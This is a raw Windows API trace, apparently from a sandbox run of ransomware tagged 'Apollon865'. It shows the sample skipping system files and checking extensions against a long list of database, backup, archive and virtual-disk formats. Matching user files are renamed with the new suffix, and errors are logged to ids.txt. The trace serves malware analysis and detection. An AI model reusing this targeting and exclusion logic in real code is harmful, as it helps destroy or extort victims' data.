	[0086.084] lstrlenW (lpString="dqy") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="dqy") returned 1
	[0086.084] lstrlenW (lpString="dsk") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="dsk") returned 1
	[0086.084] lstrlenW (lpString="dsn") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="dsn") returned 1
	[0086.084] lstrlenW (lpString="dtsx") returned 4
	[0086.084] lstrcmpiW (lpString1="LOG1", lpString2="dtsx") returned 1
	[0086.084] lstrlenW (lpString="dxl") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="dxl") returned 1
	[0086.084] lstrlenW (lpString="eco") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="eco") returned 1
	[0086.084] lstrlenW (lpString="ecx") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="ecx") returned 1
	[0086.084] lstrlenW (lpString="edb") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="edb") returned 1
	[0086.084] lstrlenW (lpString="epim") returned 4
	[0086.084] lstrcmpiW (lpString1="LOG1", lpString2="epim") returned 1
	[0086.084] lstrlenW (lpString="fcd") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="fcd") returned 1
	[0086.084] lstrlenW (lpString="fdb") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="fdb") returned 1
	[0086.084] lstrlenW (lpString="fic") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="fic") returned 1
	[0086.084] lstrlenW (lpString="flexolibrary") returned 12
	[0086.084] lstrcmpiW (lpString1="ser.dat.LOG1", lpString2="flexolibrary") returned 1
	[0086.084] lstrlenW (lpString="fm5") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="fm5") returned 1
	[0086.084] lstrlenW (lpString="fmp") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="fmp") returned 1
	[0086.084] lstrlenW (lpString="fmp12") returned 5
	[0086.084] lstrcmpiW (lpString1=".LOG1", lpString2="fmp12") returned -1
	[0086.084] lstrlenW (lpString="fmpsl") returned 5
	[0086.084] lstrcmpiW (lpString1=".LOG1", lpString2="fmpsl") returned -1
	[0086.085] lstrlenW (lpString="fol") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="fol") returned 1
	[0086.085] lstrlenW (lpString="fp3") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="fp3") returned 1
	[0086.085] lstrlenW (lpString="fp4") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="fp4") returned 1
	[0086.085] lstrlenW (lpString="fp5") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="fp5") returned 1
	[0086.085] lstrlenW (lpString="fp7") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="fp7") returned 1
	[0086.085] lstrlenW (lpString="fpt") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="fpt") returned 1
	[0086.085] lstrlenW (lpString="frm") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="frm") returned 1
	[0086.085] lstrlenW (lpString="gdb") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1
	[0086.085] lstrlenW (lpString="gdb") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1
	[0086.085] lstrlenW (lpString="grdb") returned 4
	[0086.085] lstrcmpiW (lpString1="LOG1", lpString2="grdb") returned 1
	[0086.085] lstrlenW (lpString="gwi") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="gwi") returned 1
	[0086.085] lstrlenW (lpString="hdb") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="hdb") returned 1
	[0086.085] lstrlenW (lpString="his") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="his") returned 1
	[0086.085] lstrlenW (lpString="ib") returned 2
	[0086.085] lstrcmpiW (lpString1="G1", lpString2="ib") returned -1
	[0086.085] lstrlenW (lpString="idb") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="idb") returned 1
	[0086.085] lstrlenW (lpString="ihx") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="ihx") returned 1
	[0086.085] lstrlenW (lpString="itdb") returned 4
	[0086.085] lstrcmpiW (lpString1="LOG1", lpString2="itdb") returned 1
	[0086.085] lstrlenW (lpString="itw") returned 3
	[0086.085] lstrcmpiW (lpString1="OG1", lpString2="itw") returned 1
	[0086.085] lstrlenW (lpString="jet") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="jet") returned 1
	[0086.086] lstrlenW (lpString="jtx") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="jtx") returned 1
	[0086.086] lstrlenW (lpString="kdb") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="kdb") returned 1
	[0086.086] lstrlenW (lpString="kexi") returned 4
	[0086.086] lstrcmpiW (lpString1="LOG1", lpString2="kexi") returned 1
	[0086.086] lstrlenW (lpString="kexic") returned 5
	[0086.086] lstrcmpiW (lpString1=".LOG1", lpString2="kexic") returned -1
	[0086.086] lstrlenW (lpString="kexis") returned 5
	[0086.086] lstrcmpiW (lpString1=".LOG1", lpString2="kexis") returned -1
	[0086.086] lstrlenW (lpString="lgc") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="lgc") returned 1
	[0086.086] lstrlenW (lpString="lwx") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="lwx") returned 1
	[0086.086] lstrlenW (lpString="maf") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="maf") returned 1
	[0086.086] lstrlenW (lpString="maq") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="maq") returned 1
	[0086.086] lstrlenW (lpString="mar") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="mar") returned 1
	[0086.086] lstrlenW (lpString="marshal") returned 7
	[0086.086] lstrcmpiW (lpString1="at.LOG1", lpString2="marshal") returned -1
	[0086.086] lstrlenW (lpString="mas") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="mas") returned 1
	[0086.086] lstrlenW (lpString="mav") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="mav") returned 1
	[0086.086] lstrlenW (lpString="maw") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="maw") returned 1
	[0086.086] lstrlenW (lpString="mdbhtml") returned 7
	[0086.086] lstrcmpiW (lpString1="at.LOG1", lpString2="mdbhtml") returned -1
	[0086.086] lstrlenW (lpString="mdn") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="mdn") returned 1
	[0086.086] lstrlenW (lpString="mdt") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="mdt") returned 1
	[0086.086] lstrlenW (lpString="mfd") returned 3
	[0086.086] lstrcmpiW (lpString1="OG1", lpString2="mfd") returned 1
	[0086.087] lstrlenW (lpString="mpd") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="mpd") returned 1
	[0086.087] lstrlenW (lpString="mrg") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="mrg") returned 1
	[0086.087] lstrlenW (lpString="mud") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="mud") returned 1
	[0086.087] lstrlenW (lpString="mwb") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="mwb") returned 1
	[0086.087] lstrlenW (lpString="myd") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="myd") returned 1
	[0086.087] lstrlenW (lpString="ndf") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="ndf") returned 1
	[0086.087] lstrlenW (lpString="nnt") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="nnt") returned 1
	[0086.087] lstrlenW (lpString="nrmlib") returned 6
	[0086.087] lstrcmpiW (lpString1="t.LOG1", lpString2="nrmlib") returned 1
	[0086.087] lstrlenW (lpString="ns2") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="ns2") returned 1
	[0086.087] lstrlenW (lpString="ns3") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="ns3") returned 1
	[0086.087] lstrlenW (lpString="ns4") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="ns4") returned 1
	[0086.087] lstrlenW (lpString="nsf") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="nsf") returned 1
	[0086.087] lstrlenW (lpString="nv") returned 2
	[0086.087] lstrcmpiW (lpString1="G1", lpString2="nv") returned -1
	[0086.087] lstrlenW (lpString="nv2") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="nv2") returned 1
	[0086.087] lstrlenW (lpString="nwdb") returned 4
	[0086.087] lstrcmpiW (lpString1="LOG1", lpString2="nwdb") returned -1
	[0086.087] lstrlenW (lpString="nyf") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="nyf") returned 1
	[0086.087] lstrlenW (lpString="odb") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1
	[0086.087] lstrlenW (lpString="odb") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1
	[0086.087] lstrlenW (lpString="oqy") returned 3
	[0086.087] lstrcmpiW (lpString1="OG1", lpString2="oqy") returned -1
	[0086.088] lstrlenW (lpString="ora") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="ora") returned -1
	[0086.088] lstrlenW (lpString="orx") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="orx") returned -1
	[0086.088] lstrlenW (lpString="owc") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="owc") returned -1
	[0086.088] lstrlenW (lpString="p96") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="p96") returned -1
	[0086.088] lstrlenW (lpString="p97") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="p97") returned -1
	[0086.088] lstrlenW (lpString="pan") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="pan") returned -1
	[0086.088] lstrlenW (lpString="pdb") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="pdb") returned -1
	[0086.088] lstrlenW (lpString="pdm") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="pdm") returned -1
	[0086.088] lstrlenW (lpString="pnz") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="pnz") returned -1
	[0086.088] lstrlenW (lpString="qry") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="qry") returned -1
	[0086.088] lstrlenW (lpString="qvd") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="qvd") returned -1
	[0086.088] lstrlenW (lpString="rbf") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="rbf") returned -1
	[0086.088] lstrlenW (lpString="rctd") returned 4
	[0086.088] lstrcmpiW (lpString1="LOG1", lpString2="rctd") returned -1
	[0086.088] lstrlenW (lpString="rod") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="rod") returned -1
	[0086.088] lstrlenW (lpString="rodx") returned 4
	[0086.088] lstrcmpiW (lpString1="LOG1", lpString2="rodx") returned -1
	[0086.088] lstrlenW (lpString="rpd") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="rpd") returned -1
	[0086.088] lstrlenW (lpString="rsd") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="rsd") returned -1
	[0086.088] lstrlenW (lpString="sas7bdat") returned 8
	[0086.088] lstrcmpiW (lpString1="dat.LOG1", lpString2="sas7bdat") returned -1
	[0086.088] lstrlenW (lpString="sbf") returned 3
	[0086.088] lstrcmpiW (lpString1="OG1", lpString2="sbf") returned -1
	[0086.089] lstrlenW (lpString="scx") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="scx") returned -1
	[0086.089] lstrlenW (lpString="sdb") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="sdb") returned -1
	[0086.089] lstrlenW (lpString="sdc") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="sdc") returned -1
	[0086.089] lstrlenW (lpString="sdf") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="sdf") returned -1
	[0086.089] lstrlenW (lpString="sis") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="sis") returned -1
	[0086.089] lstrlenW (lpString="spq") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="spq") returned -1
	[0086.089] lstrlenW (lpString="te") returned 2
	[0086.089] lstrcmpiW (lpString1="G1", lpString2="te") returned -1
	[0086.089] lstrlenW (lpString="teacher") returned 7
	[0086.089] lstrcmpiW (lpString1="at.LOG1", lpString2="teacher") returned -1
	[0086.089] lstrlenW (lpString="tmd") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="tmd") returned -1
	[0086.089] lstrlenW (lpString="tps") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="tps") returned -1
	[0086.089] lstrlenW (lpString="trc") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1
	[0086.089] lstrlenW (lpString="trc") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1
	[0086.089] lstrlenW (lpString="trm") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="trm") returned -1
	[0086.089] lstrlenW (lpString="udb") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="udb") returned -1
	[0086.089] lstrlenW (lpString="udl") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="udl") returned -1
	[0086.089] lstrlenW (lpString="usr") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="usr") returned -1
	[0086.089] lstrlenW (lpString="v12") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="v12") returned -1
	[0086.089] lstrlenW (lpString="vis") returned 3
	[0086.089] lstrcmpiW (lpString1="OG1", lpString2="vis") returned -1
	[0086.090] lstrlenW (lpString="vpd") returned 3
	[0086.090] lstrcmpiW (lpString1="OG1", lpString2="vpd") returned -1
	[0086.090] lstrlenW (lpString="vvv") returned 3
	[0086.090] lstrcmpiW (lpString1="OG1", lpString2="vvv") returned -1
	[0086.090] lstrlenW (lpString="wdb") returned 3
	[0086.090] lstrcmpiW (lpString1="OG1", lpString2="wdb") returned -1
	[0086.090] lstrlenW (lpString="wmdb") returned 4
	[0086.090] lstrcmpiW (lpString1="LOG1", lpString2="wmdb") returned -1
	[0086.090] lstrlenW (lpString="wrk") returned 3
	[0086.090] lstrcmpiW (lpString1="OG1", lpString2="wrk") returned -1
	[0086.090] lstrlenW (lpString="xdb") returned 3
	[0086.090] lstrcmpiW (lpString1="OG1", lpString2="xdb") returned -1
	[0086.090] lstrlenW (lpString="xld") returned 3
	[0086.090] lstrcmpiW (lpString1="OG1", lpString2="xld") returned -1
	[0086.090] lstrlenW (lpString="xmlff") returned 5
	[0086.090] lstrcmpiW (lpString1=".LOG1", lpString2="xmlff") returned -1
	[0086.090] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1.Apollon865") returned 56
	[0086.090] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat.log1.apollon865"), dwFlags=0x1) returned 0
	[0086.090] GetLastError () returned 0x20
	[0086.090] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1 MoveFileEx error 32\r\n") returned 75
	[0086.090] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1 MoveFileEx error 32\r\n") returned 75
	[0086.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0086.091] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x620c
	[0086.091] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x4b, lpOverlapped=0x0) returned 1
	[0086.091] CloseHandle (hObject=0x9c) returned 1
	[0086.091] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0086.091] CloseHandle (hObject=0x0) returned 0
	[0086.091] CloseHandle (hObject=0x0) returned 0
	[0086.091] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="Apollon865.txt.exe") returned 1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="windows") returned -1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="bootmgr") returned 1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="temp") returned -1
	[0086.091] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="pagefile.sys") returned -1
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="boot") returned 1
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ids.txt") returned 1
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ntuser.dat") returned 1
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="perflogs") returned -1
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="MSBuild") returned 1
	[0086.092] lstrlenW (lpString="ntuser.dat.LOG2") returned 15
	[0086.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned 45
	[0086.092] lstrcpyW (in: lpString1=0x119e644, lpString2="ntuser.dat.LOG2" | out: lpString1="ntuser.dat.LOG2") returned="ntuser.dat.LOG2"
	[0086.092] lstrlenW (lpString="ntuser.dat.LOG2") returned 15
	[0086.092] lstrlenW (lpString="Apollon865") returned 10
	[0086.092] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="Apollon865") returned 1
	[0086.092] lstrlenW (lpString=".dll") returned 4
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".dll") returned 1
	[0086.092] lstrlenW (lpString=".lnk") returned 4
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".lnk") returned 1
	[0086.092] lstrlenW (lpString=".ini") returned 4
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".ini") returned 1
	[0086.092] lstrlenW (lpString=".sys") returned 4
	[0086.092] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2=".sys") returned 1
	[0086.092] lstrlenW (lpString="ntuser.dat.LOG2") returned 15
	[0086.092] lstrlenW (lpString="bak") returned 3
	[0086.092] lstrcmpiW (lpString1="OG2", lpString2="bak") returned 1
	[0086.092] lstrlenW (lpString="ba_") returned 3
	[0086.092] lstrcmpiW (lpString1="OG2", lpString2="ba_") returned 1
	[0086.092] lstrlenW (lpString="dbb") returned 3
	[0086.092] lstrcmpiW (lpString1="OG2", lpString2="dbb") returned 1
	[0086.092] lstrlenW (lpString="vmdk") returned 4
	[0086.092] lstrcmpiW (lpString1="LOG2", lpString2="vmdk") returned -1
	[0086.092] lstrlenW (lpString="rar") returned 3
	[0086.092] lstrcmpiW (lpString1="OG2", lpString2="rar") returned -1
	[0086.092] lstrlenW (lpString="zip") returned 3
	[0086.092] lstrcmpiW (lpString1="OG2", lpString2="zip") returned -1
	[0086.092] lstrlenW (lpString="tgz") returned 3
	[0086.092] lstrcmpiW (lpString1="OG2", lpString2="tgz") returned -1
	[0086.092] lstrlenW (lpString="vbox") returned 4
	[0086.092] lstrcmpiW (lpString1="LOG2", lpString2="vbox") returned -1
	[0086.093] lstrlenW (lpString="vdi") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="vdi") returned -1
	[0086.093] lstrlenW (lpString="vhd") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="vhd") returned -1
	[0086.093] lstrlenW (lpString="vhdx") returned 4
	[0086.093] lstrcmpiW (lpString1="LOG2", lpString2="vhdx") returned -1
	[0086.093] lstrlenW (lpString="avhd") returned 4
	[0086.093] lstrcmpiW (lpString1="LOG2", lpString2="avhd") returned 1
	[0086.093] lstrlenW (lpString="db") returned 2
	[0086.093] lstrcmpiW (lpString1="G2", lpString2="db") returned 1
	[0086.093] lstrlenW (lpString="db2") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="db2") returned 1
	[0086.093] lstrlenW (lpString="db3") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="db3") returned 1
	[0086.093] lstrlenW (lpString="dbf") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="dbf") returned 1
	[0086.093] lstrlenW (lpString="mdf") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="mdf") returned 1
	[0086.093] lstrlenW (lpString="mdb") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="mdb") returned 1
	[0086.093] lstrlenW (lpString="sql") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="sql") returned -1
	[0086.093] lstrlenW (lpString="sqlite") returned 6
	[0086.093] lstrcmpiW (lpString1="t.LOG2", lpString2="sqlite") returned 1
	[0086.093] lstrlenW (lpString="sqlite3") returned 7
	[0086.093] lstrcmpiW (lpString1="at.LOG2", lpString2="sqlite3") returned -1
	[0086.093] lstrlenW (lpString="sqlitedb") returned 8
	[0086.093] lstrcmpiW (lpString1="dat.LOG2", lpString2="sqlitedb") returned -1
	[0086.093] lstrlenW (lpString="xml") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="xml") returned -1
	[0086.093] lstrlenW (lpString="$er") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="$er") returned 1
	[0086.093] lstrlenW (lpString="4dd") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="4dd") returned 1
	[0086.093] lstrlenW (lpString="4dl") returned 3
	[0086.093] lstrcmpiW (lpString1="OG2", lpString2="4dl") returned 1
	[0086.094] lstrlenW (lpString="^^^") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="^^^") returned 1
	[0086.094] lstrlenW (lpString="abs") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="abs") returned 1
	[0086.094] lstrlenW (lpString="abx") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="abx") returned 1
	[0086.094] lstrlenW (lpString="accdb") returned 5
	[0086.094] lstrcmpiW (lpString1=".LOG2", lpString2="accdb") returned -1
	[0086.094] lstrlenW (lpString="accdc") returned 5
	[0086.094] lstrcmpiW (lpString1=".LOG2", lpString2="accdc") returned -1
	[0086.094] lstrlenW (lpString="accde") returned 5
	[0086.094] lstrcmpiW (lpString1=".LOG2", lpString2="accde") returned -1
	[0086.094] lstrlenW (lpString="accdr") returned 5
	[0086.094] lstrcmpiW (lpString1=".LOG2", lpString2="accdr") returned -1
	[0086.094] lstrlenW (lpString="accdt") returned 5
	[0086.094] lstrcmpiW (lpString1=".LOG2", lpString2="accdt") returned -1
	[0086.094] lstrlenW (lpString="accdw") returned 5
	[0086.094] lstrcmpiW (lpString1=".LOG2", lpString2="accdw") returned -1
	[0086.094] lstrlenW (lpString="accft") returned 5
	[0086.094] lstrcmpiW (lpString1=".LOG2", lpString2="accft") returned -1
	[0086.094] lstrlenW (lpString="adb") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1
	[0086.094] lstrlenW (lpString="adb") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1
	[0086.094] lstrlenW (lpString="ade") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="ade") returned 1
	[0086.094] lstrlenW (lpString="adf") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="adf") returned 1
	[0086.094] lstrlenW (lpString="adn") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="adn") returned 1
	[0086.094] lstrlenW (lpString="adp") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="adp") returned 1
	[0086.094] lstrlenW (lpString="alf") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="alf") returned 1
	[0086.094] lstrlenW (lpString="ask") returned 3
	[0086.094] lstrcmpiW (lpString1="OG2", lpString2="ask") returned 1
	[0086.094] lstrlenW (lpString="btr") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="btr") returned 1
	[0086.095] lstrlenW (lpString="cat") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="cat") returned 1
	[0086.095] lstrlenW (lpString="cdb") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="cdb") returned 1
	[0086.095] lstrlenW (lpString="ckp") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="ckp") returned 1
	[0086.095] lstrlenW (lpString="cma") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="cma") returned 1
	[0086.095] lstrlenW (lpString="cpd") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="cpd") returned 1
	[0086.095] lstrlenW (lpString="dacpac") returned 6
	[0086.095] lstrcmpiW (lpString1="t.LOG2", lpString2="dacpac") returned 1
	[0086.095] lstrlenW (lpString="dad") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="dad") returned 1
	[0086.095] lstrlenW (lpString="dadiagrams") returned 10
	[0086.095] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="dadiagrams") returned 1
	[0086.095] lstrlenW (lpString="daschema") returned 8
	[0086.095] lstrcmpiW (lpString1="dat.LOG2", lpString2="daschema") returned 1
	[0086.095] lstrlenW (lpString="db-journal") returned 10
	[0086.095] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="db-journal") returned 1
	[0086.095] lstrlenW (lpString="db-shm") returned 6
	[0086.095] lstrcmpiW (lpString1="t.LOG2", lpString2="db-shm") returned 1
	[0086.095] lstrlenW (lpString="db-wal") returned 6
	[0086.095] lstrcmpiW (lpString1="t.LOG2", lpString2="db-wal") returned 1
	[0086.095] lstrlenW (lpString="dbc") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="dbc") returned 1
	[0086.095] lstrlenW (lpString="dbs") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="dbs") returned 1
	[0086.095] lstrlenW (lpString="dbt") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="dbt") returned 1
	[0086.095] lstrlenW (lpString="dbv") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="dbv") returned 1
	[0086.095] lstrlenW (lpString="dbx") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="dbx") returned 1
	[0086.095] lstrlenW (lpString="dcb") returned 3
	[0086.095] lstrcmpiW (lpString1="OG2", lpString2="dcb") returned 1
	[0086.096] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2.Apollon865") returned 56
